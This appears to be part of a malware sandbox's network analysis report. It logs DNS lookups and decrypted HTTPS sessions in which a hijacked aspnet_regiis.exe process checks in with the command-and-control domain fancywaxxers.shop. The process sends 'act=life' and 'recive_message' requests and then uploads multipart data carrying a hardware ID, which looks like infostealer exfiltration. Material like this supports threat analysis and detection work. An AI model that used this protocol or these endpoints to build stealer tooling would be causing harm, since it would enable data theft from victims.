Dec 29, 2024 23:37:07.362792015 CET	49717	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:07.362807989 CET	443	49717	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:07.362858057 CET	49717	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:07.367031097 CET	443	49717	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:07.367089987 CET	443	49717	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:07.367117882 CET	443	49717	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:07.367155075 CET	49717	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:07.367171049 CET	443	49717	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:07.367197037 CET	443	49717	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:07.367225885 CET	49717	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:07.367253065 CET	49717	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:07.369889021 CET	49717	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:07.369925976 CET	443	49717	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:07.369951010 CET	49717	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:07.369966030 CET	443	49717	104.21.32.1	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 29, 2024 23:36:54.981925964 CET	65484	53	192.168.2.5	1.1.1.1
Dec 29, 2024 23:36:54.993448973 CET	53	65484	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 29, 2024 23:36:54.981925964 CET	192.168.2.5	1.1.1.1	0xd6a	Standard query (0)	fancywaxxers.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 29, 2024 23:36:54.993448973 CET	1.1.1.1	192.168.2.5	0xd6a	No error (0)	fancywaxxers.shop	104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 29, 2024 23:36:54.993448973 CET	1.1.1.1	192.168.2.5	0xd6a	No error (0)	fancywaxxers.shop	104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 29, 2024 23:36:54.993448973 CET	1.1.1.1	192.168.2.5	0xd6a	No error (0)	fancywaxxers.shop	104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 29, 2024 23:36:54.993448973 CET	1.1.1.1	192.168.2.5	0xd6a	No error (0)	fancywaxxers.shop	104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 29, 2024 23:36:54.993448973 CET	1.1.1.1	192.168.2.5	0xd6a	No error (0)	fancywaxxers.shop	104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 29, 2024 23:36:54.993448973 CET	1.1.1.1	192.168.2.5	0xd6a	No error (0)	fancywaxxers.shop	104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 29, 2024 23:36:54.993448973 CET	1.1.1.1	192.168.2.5	0xd6a	No error (0)	fancywaxxers.shop	104.21.64.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fancywaxxers.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.32.1	443	5780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 22:36:55 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fancywaxxers.shop
2024-12-29 22:36:55 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-29 22:36:55 UTC	1129	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 22:36:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cfoef94mejek20all48tqrg0go; expires=Thu, 24 Apr 2025 16:23:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lFpFIP5bHkW3ZYbhcWxOeSkS9wdsDNyJi6zv2Jvzt7PzPhugn8IO3Vb2KmxXQ7%2FUWN8XQLjMTj6iXUSx6YilqCfIYdjQFPVSyr2q8h%2BQb41ITrklneucK87Uqij5v4%2Bdj8pnIA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9d458f4f2972b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1787&min_rtt=1780&rtt_var=682&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2842&recv_bytes=908&delivery_rate=1587819&cwnd=214&unsent_bytes=0&cid=a4afd12f97268890&ts=483&x=0"
2024-12-29 22:36:55 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-29 22:36:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.21.32.1	443	5780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 22:36:56 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: fancywaxxers.shop
2024-12-29 22:36:56 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 42 56 6e 55 71 6f 2d 2d 40 79 6f 75 6e 67 65 73 73 74 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=BVnUqo--@youngesstt&j=
2024-12-29 22:36:56 UTC	1129	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 22:36:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c410gflpvtm3rhp660ue0gk7c7; expires=Thu, 24 Apr 2025 16:23:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8E7tkbgjqg6TNIPFyyD7oMuazrRF4QwU6%2FLkmocqhqkao1axujqcmGnt7gj1oir4w3J36Y95waclQpBEphIzksWVbwFaGeKcsiwYrdE%2FYmONiItbmO58lPTfAPPI%2FVmArTM2sg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9d4595be8e72b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1798&min_rtt=1794&rtt_var=680&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=954&delivery_rate=1599123&cwnd=214&unsent_bytes=0&cid=83dc1eadcdec0beb&ts=467&x=0"
2024-12-29 22:36:56 UTC	240	IN	Data Raw: 34 39 39 34 0d 0a 38 35 63 52 4a 68 2f 67 6d 74 53 63 66 57 37 43 30 4a 75 75 53 35 6f 63 64 6b 42 61 74 7a 46 59 35 66 42 46 66 43 42 2b 76 47 57 49 74 57 63 45 4a 64 53 32 39 75 38 59 54 50 69 6b 36 64 73 75 74 6a 34 58 4a 48 69 4e 56 7a 6d 4a 67 79 42 51 41 67 6a 52 52 38 6e 78 63 45 70 73 68 62 62 32 2b 51 56 4d 2b 49 76 67 6a 43 37 30 50 6b 78 69 50 39 31 54 4f 59 6d 53 4a 42 64 50 44 74 41 47 6d 2f 74 32 54 6e 71 44 2f 72 58 77 45 41 75 6e 74 66 72 45 4a 66 4e 78 48 69 31 34 6d 78 4d 39 6e 39 4a 2f 58 6d 30 62 79 41 53 2b 39 6d 4a 4e 50 5a 32 32 72 37 34 59 41 4f 44 71 75 63 38 75 2b 48 41 51 4a 44 48 66 57 54 43 42 6b 79 45 57 55 42 66 61 44 5a 76 31 64 55 39 77 69 75 71 34 2b 68 63 41 6f 62 2f 36 6a 47 Data Ascii: 499485cRJh/gmtScfW7C0JuuS5ocdkBatzFY5fBFfCB+vGWItWcEJdS29u8YTPik6dsutj4XJHiNVzmJgyBQAgjRR8nxcEpshbb2+QVM+IvgjC70PkxiP91TOYmSJBdPDtAGm/t2TnqD/rXwEAuntfrEJfNxHi14mxM9n9J/Xm0byAS+9mJNPZ22r74YAODquc8u+HAQJDHfWTCBkyEWUBfaDZv1dU9wiuq4+hcAob/6jG
2024-12-29 22:36:56 UTC	1369	IN	Data Raw: 65 34 65 51 78 69 59 4a 55 41 43 49 53 44 4e 67 74 50 44 4e 68 48 6a 72 74 71 42 48 71 4f 75 4f 36 2b 46 77 43 75 74 2f 72 44 4c 76 6c 2b 42 69 30 34 31 6c 73 79 67 35 67 6f 45 55 30 53 31 41 43 5a 2f 48 52 4c 65 6f 72 2b 75 66 31 66 51 75 43 31 34 59 78 78 75 46 34 45 49 54 76 42 58 69 76 48 6a 57 6b 48 41 68 76 53 52 38 6d 31 64 55 70 38 6a 2f 69 6b 39 68 51 48 70 61 44 79 78 53 54 31 66 68 6b 6f 4e 39 5a 54 50 59 32 59 4b 42 52 47 45 64 4d 42 6b 66 55 7a 43 6a 32 46 34 50 61 6d 58 79 2b 6c 6f 76 37 41 50 37 70 45 56 44 31 32 7a 42 4d 39 69 39 4a 2f 58 6b 6f 5a 33 51 53 61 2b 6e 42 4d 64 70 44 34 70 50 67 53 43 62 4b 30 2f 4d 49 6a 2b 32 77 65 4c 44 37 57 57 6a 47 4f 6c 79 41 61 41 6c 4b 65 41 49 6d 31 4b 77 52 63 6a 2f 4f 36 39 41 67 4d 34 4b 32 33 31 Data Ascii: e4eQxiYJUACISDNgtPDNhHjrtqBHqOuO6+FwCut/rDLvl+Bi041lsyg5goEU0S1ACZ/HRLeor+uf1fQuC14YxxuF4EITvBXivHjWkHAhvSR8m1dUp8j/ik9hQHpaDyxST1fhkoN9ZTPY2YKBRGEdMBkfUzCj2F4PamXy+lov7AP7pEVD12zBM9i9J/XkoZ3QSa+nBMdpD4pPgSCbK0/MIj+2weLD7WWjGOlyAaAlKeAIm1KwRcj/O69AgM4K231
2024-12-29 22:36:56 UTC	1369	IN	Data Raw: 59 4b 44 37 61 58 6a 62 48 33 47 63 5a 57 6c 79 47 52 37 76 32 5a 30 64 33 77 4d 32 31 38 42 45 4c 74 76 4c 6d 67 6a 43 34 65 52 68 69 59 4a 56 65 4f 34 2b 55 4e 52 46 50 48 39 41 4a 6e 76 42 38 54 48 32 43 39 62 50 36 46 41 65 6a 76 2f 33 65 49 2f 68 32 45 53 4d 79 33 78 4e 30 78 35 55 2f 58 68 70 63 37 78 43 61 74 30 5a 48 63 34 7a 2f 6f 4c 34 41 51 72 6e 79 2f 73 42 70 6f 44 34 5a 4b 6a 33 51 58 44 75 4e 6e 43 49 55 54 68 54 51 42 49 50 36 64 30 52 78 69 76 4b 37 38 42 73 45 71 62 6e 79 79 69 6e 35 64 46 52 73 65 4e 4a 4c 65 74 2f 53 45 78 6c 4f 45 64 46 46 70 50 5a 39 53 6e 71 55 75 4b 6d 77 42 6b 79 6e 76 72 6d 55 61 66 52 33 46 43 6b 79 30 56 4d 39 69 70 63 6b 47 55 45 52 32 51 32 66 38 6e 64 49 64 49 2f 2b 74 76 6b 62 43 62 4b 33 38 4d 41 6c 75 44 Data Ascii: YKD7aXjbH3GcZWlyGR7v2Z0d3wM218BELtvLmgjC4eRhiYJVeO4+UNRFPH9AJnvB8TH2C9bP6FAejv/3eI/h2ESMy3xN0x5U/Xhpc7xCat0ZHc4z/oL4AQrny/sBpoD4ZKj3QXDuNnCIUThTQBIP6d0RxivK78BsEqbnyyin5dFRseNJLet/SExlOEdFFpPZ9SnqUuKmwBkynvrmUafR3FCky0VM9ipckGUER2Q2f8ndIdI/+tvkbCbK38MAluD
2024-12-29 22:36:56 UTC	1369	IN	Data Raw: 79 68 30 6a 78 35 55 72 58 68 70 63 31 77 36 44 2b 33 31 4e 63 49 54 77 73 66 41 53 42 36 61 35 2f 73 73 76 39 58 59 5a 4a 7a 76 55 56 7a 43 56 6b 53 77 55 54 78 61 65 53 64 48 79 61 77 51 6c 77 74 2b 36 31 77 38 58 73 71 53 35 30 32 66 68 50 68 4d 75 65 49 30 54 4f 59 69 62 4b 42 5a 4b 45 39 45 44 6e 2f 4e 31 53 58 69 4e 38 71 54 32 45 51 47 72 76 66 4c 65 4b 66 56 36 47 43 59 77 33 6c 6c 36 79 64 49 67 42 67 4a 45 6e 6a 4b 63 2b 6e 4e 48 61 38 4c 6e 2b 4f 64 66 43 36 7a 79 6f 59 77 6c 39 6e 34 62 4c 6a 54 65 57 7a 75 4c 6e 43 41 62 53 78 54 57 46 5a 44 78 65 30 56 7a 6a 66 6d 79 2b 78 6f 49 70 37 62 2f 77 32 6d 32 50 68 4d 36 65 49 30 54 46 61 43 6e 5a 54 39 34 58 4d 46 4a 69 4c 56 30 53 44 33 61 75 4c 72 39 45 77 53 76 74 50 44 41 49 2f 46 31 47 43 6b Data Ascii: yh0jx5UrXhpc1w6D+31NcITwsfASB6a5/ssv9XYZJzvUVzCVkSwUTxaeSdHyawQlwt+61w8XsqS502fhPhMueI0TOYibKBZKE9EDn/N1SXiN8qT2EQGrvfLeKfV6GCYw3ll6ydIgBgJEnjKc+nNHa8Ln+OdfC6zyoYwl9n4bLjTeWzuLnCAbSxTWFZDxe0Vzjfmy+xoIp7b/w2m2PhM6eI0TFaCnZT94XMFJiLV0SD3auLr9EwSvtPDAI/F1GCk
2024-12-29 22:36:56 UTC	1369	IN	Data Raw: 6f 4b 64 4a 68 39 45 44 74 6b 4f 67 2f 74 2b 53 33 57 4b 38 62 66 36 47 67 47 6d 76 76 50 4e 4c 76 5a 77 48 47 4a 32 6c 56 51 69 78 38 70 6e 50 31 49 48 7a 42 47 63 31 48 35 4c 50 5a 32 32 72 37 34 59 41 4f 44 71 75 63 55 37 2f 48 4d 47 4b 7a 2f 62 58 44 6d 56 6b 79 6f 56 55 42 76 52 41 35 62 35 64 55 74 37 67 2f 32 38 38 68 67 4a 71 37 33 31 6a 47 65 34 65 51 78 69 59 4a 56 39 4d 5a 53 46 4a 42 42 4a 43 73 56 48 6a 72 74 71 42 48 71 4f 75 4f 36 2b 48 41 65 72 74 76 6e 41 4b 66 78 7a 46 44 41 33 30 6c 51 7a 6a 49 41 74 47 55 55 58 31 67 79 65 38 32 46 49 63 35 44 39 70 4f 78 66 51 75 43 31 34 59 78 78 75 45 67 54 4d 69 6a 57 45 51 75 52 6b 54 45 56 54 78 43 65 47 4e 2f 73 4d 30 4e 78 77 71 44 32 2b 42 41 46 6f 37 33 34 78 53 58 31 65 78 30 6e 4f 64 4e 58 Data Ascii: oKdJh9EDtkOg/t+S3WK8bf6GgGmvvPNLvZwHGJ2lVQix8pnP1IHzBGc1H5LPZ22r74YAODqucU7/HMGKz/bXDmVkyoVUBvRA5b5dUt7g/288hgJq731jGe4eQxiYJV9MZSFJBBJCsVHjrtqBHqOuO6+HAertvnAKfxzFDA30lQzjIAtGUUX1gye82FIc5D9pOxfQuC14YxxuEgTMijWEQuRkTEVTxCeGN/sM0NxwqD2+BAFo734xSX1ex0nOdNX
2024-12-29 22:36:56 UTC	1369	IN	Data Raw: 51 46 41 67 4f 51 48 74 48 79 66 77 51 6c 77 76 75 78 2f 52 34 47 71 62 37 32 79 79 33 71 64 42 4d 77 4f 64 52 59 4e 34 75 53 4b 68 4e 49 48 64 63 4b 6e 66 68 30 51 33 4b 48 75 50 69 2b 47 42 54 67 36 72 6e 74 4a 50 4e 79 54 33 68 34 79 68 30 6a 78 35 55 72 58 68 70 63 33 67 32 55 2f 33 35 48 63 6f 48 71 74 2f 67 4e 44 4b 32 34 36 38 59 69 2f 58 4d 5a 4c 7a 76 54 56 54 47 4c 67 43 34 65 51 52 65 65 53 64 48 79 61 77 51 6c 77 74 75 68 36 42 55 4c 72 4b 54 79 7a 53 72 75 63 77 52 69 64 70 56 43 50 5a 62 53 66 77 68 53 43 39 6b 59 33 2b 77 7a 51 33 48 43 6f 50 62 34 46 67 71 6e 74 50 66 65 4c 50 35 78 47 79 73 78 30 56 73 35 68 35 59 6a 47 55 63 66 30 67 79 57 39 6e 78 41 64 49 7a 78 75 62 35 52 54 4b 65 71 75 5a 52 70 32 57 55 58 4c 6a 57 56 54 48 53 65 30 Data Ascii: QFAgOQHtHyfwQlwvux/R4Gqb72yy3qdBMwOdRYN4uSKhNIHdcKnfh0Q3KHuPi+GBTg6rntJPNyT3h4yh0jx5UrXhpc3g2U/35HcoHqt/gNDK2468Yi/XMZLzvTVTGLgC4eQReeSdHyawQlwtuh6BULrKTyzSrucwRidpVCPZbSfwhSC9kY3+wzQ3HCoPb4FgqntPfeLP5xGysx0Vs5h5YjGUcf0gyW9nxAdIzxub5RTKequZRp2WUXLjWVTHSe0
2024-12-29 22:36:56 UTC	1369	IN	Data Raw: 62 78 6b 66 4a 74 56 4e 50 61 34 66 2f 6f 4c 77 71 44 36 36 38 2f 74 70 70 35 30 46 61 59 6a 66 50 45 32 4b 2b 69 32 63 5a 54 6c 79 47 52 34 54 79 63 30 4e 6e 6c 50 2b 36 37 78 51 42 72 4a 44 32 79 7a 2f 37 63 52 63 7a 4d 5a 6c 59 4e 38 66 63 5a 78 6c 61 58 49 5a 48 76 76 4a 6c 52 31 4b 42 36 62 2b 2b 55 55 79 6e 70 4c 6d 55 61 63 59 2b 42 69 45 6f 31 6c 77 72 75 64 4a 2f 42 33 78 63 31 52 47 57 35 58 42 53 64 6f 2f 30 70 38 42 66 56 50 54 67 71 35 35 37 71 6d 46 55 50 51 65 62 45 7a 76 48 79 68 34 48 41 67 71 65 58 38 4f 37 4d 31 59 39 32 72 6a 78 2f 51 30 65 70 72 48 76 7a 32 37 47 51 44 4d 30 4d 74 4a 44 50 5a 43 64 5a 31 41 43 45 35 35 66 71 4c 56 36 51 32 61 54 37 72 76 75 47 45 79 66 2f 4c 6e 55 61 61 41 2b 49 53 45 32 32 31 51 73 6c 74 38 41 43 45 Data Ascii: bxkfJtVNPa4f/oLwqD668/tpp50FaYjfPE2K+i2cZTlyGR4Tyc0NnlP+67xQBrJD2yz/7cRczMZlYN8fcZxlaXIZHvvJlR1KB6b++UUynpLmUacY+BiEo1lwrudJ/B3xc1RGW5XBSdo/0p8BfVPTgq557qmFUPQebEzvHyh4HAgqeX8O7M1Y92rjx/Q0eprHvz27GQDM0MtJDPZCdZ1ACE55fqLV6Q2aT7rvuGEyf/LnUaaA+ISE221Qslt8ACE
2024-12-29 22:36:56 UTC	1369	IN	Data Raw: 6e 50 6b 7a 43 6a 32 58 38 37 72 34 45 68 6e 76 6f 2b 2f 50 50 2f 38 79 48 44 4d 31 32 52 4d 46 79 64 49 2f 58 68 70 63 36 77 53 66 2b 33 52 53 62 4d 2f 59 76 66 49 63 41 4b 47 31 75 59 4a 70 2f 6a 35 4d 63 58 61 56 56 79 76 48 79 6e 64 4d 47 55 6d 4e 55 4d 47 6e 62 41 70 6b 77 75 37 32 70 6b 31 43 34 4b 43 35 6c 47 6d 2f 66 51 59 77 50 74 5a 46 4f 63 43 73 47 52 39 50 45 35 49 4a 6d 76 56 30 56 47 75 5a 74 4c 37 39 42 52 61 65 6a 4e 4c 41 4c 2f 39 6b 45 79 51 65 39 52 4e 30 78 35 31 6e 52 6e 74 63 6c 6b 65 75 75 7a 4e 63 50 64 71 34 67 2f 30 52 41 71 65 6b 36 49 45 42 32 30 51 75 59 42 54 53 52 6e 69 7a 6c 54 63 50 53 52 48 53 52 39 2b 31 64 51 51 6c 30 72 62 32 2b 67 35 4d 2b 4f 4b 72 6c 33 79 72 4b 55 52 77 4a 35 74 4b 65 70 48 53 66 30 77 4d 58 4d 78 Data Ascii: nPkzCj2X87r4Ehnvo+/PP/8yHDM12RMFydI/Xhpc6wSf+3RSbM/YvfIcAKG1uYJp/j5McXaVVyvHyndMGUmNUMGnbApkwu72pk1C4KC5lGm/fQYwPtZFOcCsGR9PE5IJmvV0VGuZtL79BRaejNLAL/9kEyQe9RN0x51nRntclkeuuzNcPdq4g/0RAqek6IEB20QuYBTSRnizlTcPSRHSR9+1dQQl0rb2+g5M+OKrl3yrKURwJ5tKepHSf0wMXMx
2024-12-29 22:36:56 UTC	1369	IN	Data Raw: 51 51 6c 30 62 62 32 37 46 39 55 34 50 58 33 77 53 6a 37 63 42 63 77 4b 74 4e 51 4c 49 54 56 47 53 42 6e 45 64 4d 43 6e 2f 4a 4e 65 6c 79 49 36 4c 76 78 47 45 36 41 74 65 2f 50 46 38 5a 4a 42 53 55 6f 6c 33 55 35 6b 5a 46 6e 55 41 49 45 6e 6c 2f 52 31 48 6c 55 63 49 33 2f 39 4e 34 59 47 71 50 79 74 34 77 74 75 43 5a 55 42 7a 58 59 56 6a 53 41 30 41 59 55 55 68 48 52 41 4e 50 56 64 46 4a 2b 77 72 62 32 38 6c 39 55 34 4c 50 7a 33 43 54 33 65 56 67 6c 49 74 49 54 64 4d 65 63 5a 30 59 43 48 64 51 58 6e 50 70 30 43 48 75 4d 39 76 62 68 55 52 58 67 70 4c 6d 55 65 72 59 2b 42 6d 4a 67 6c 52 51 35 6c 59 41 68 48 56 51 66 6d 54 6d 76 32 47 46 44 62 59 47 36 68 2f 4d 62 47 72 57 78 36 63 73 58 78 6c 4d 47 4a 53 6a 57 45 51 75 52 6b 53 63 51 52 56 79 51 52 34 6d 31 Data Ascii: QQl0bb27F9U4PX3wSj7cBcwKtNQLITVGSBnEdMCn/JNelyI6LvxGE6Ate/PF8ZJBSUol3U5kZFnUAIEnl/R1HlUcI3/9N4YGqPyt4wtuCZUBzXYVjSA0AYUUhHRANPVdFJ+wrb28l9U4LPz3CT3eVglItITdMecZ0YCHdQXnPp0CHuM9vbhURXgpLmUerY+BmJglRQ5lYAhHVQfmTmv2GFDbYG6h/MbGrWx6csXxlMGJSjWEQuRkScQRVyQR4m1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49707	104.21.32.1	443	5780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 22:36:57 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AMTB3QLKBFJ98IV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12823 Host: fancywaxxers.shop
2024-12-29 22:36:57 UTC	12823	OUT	Data Raw: 2d 2d 41 4d 54 42 33 51 4c 4b 42 46 4a 39 38 49 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 43 33 37 45 32 45 39 37 46 35 32 46 35 43 31 42 38 32 35 45 35 30 36 46 30 32 31 37 32 37 0d 0a 2d 2d 41 4d 54 42 33 51 4c 4b 42 46 4a 39 38 49 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 4d 54 42 33 51 4c 4b 42 46 4a 39 38 49 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 79 6f 75 6e 67 65 73 73 74 74 0d 0a 2d Data Ascii: --AMTB3QLKBFJ98IVContent-Disposition: form-data; name="hwid"EBC37E2E97F52F5C1B825E506F021727--AMTB3QLKBFJ98IVContent-Disposition: form-data; name="pid"2--AMTB3QLKBFJ98IVContent-Disposition: form-data; name="lid"BVnUqo--@youngesstt-
2024-12-29 22:36:58 UTC	1140	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 22:36:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l00ti5jrad54fvcl185si0tf9a; expires=Thu, 24 Apr 2025 16:23:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n1rAsGP3Tfs78vviTJWDhBhkuJefgOmSXbOaOchdV6V1CTOIyzPc1yvSzJP13cxL5iP7CP4Wijc%2BxTN%2BB%2FAagb%2FhWQYD7c%2BVXlQniG%2FDRmRt%2B9anlnP3YBgFWhr4ipZuGZM3KA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9d459e6a5c41a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1542&min_rtt=1530&rtt_var=598&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13761&delivery_rate=1792510&cwnd=239&unsent_bytes=0&cid=3fa5ff3a1c8bde50&ts=611&x=0"
2024-12-29 22:36:58 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-29 22:36:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49709	104.21.32.1	443	5780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 22:36:59 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7E5OXTHN8747P User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15053 Host: fancywaxxers.shop
2024-12-29 22:36:59 UTC	15053	OUT	Data Raw: 2d 2d 37 45 35 4f 58 54 48 4e 38 37 34 37 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 43 33 37 45 32 45 39 37 46 35 32 46 35 43 31 42 38 32 35 45 35 30 36 46 30 32 31 37 32 37 0d 0a 2d 2d 37 45 35 4f 58 54 48 4e 38 37 34 37 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 37 45 35 4f 58 54 48 4e 38 37 34 37 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 79 6f 75 6e 67 65 73 73 74 74 0d 0a 2d 2d 37 45 35 4f 58 Data Ascii: --7E5OXTHN8747PContent-Disposition: form-data; name="hwid"EBC37E2E97F52F5C1B825E506F021727--7E5OXTHN8747PContent-Disposition: form-data; name="pid"2--7E5OXTHN8747PContent-Disposition: form-data; name="lid"BVnUqo--@youngesstt--7E5OX
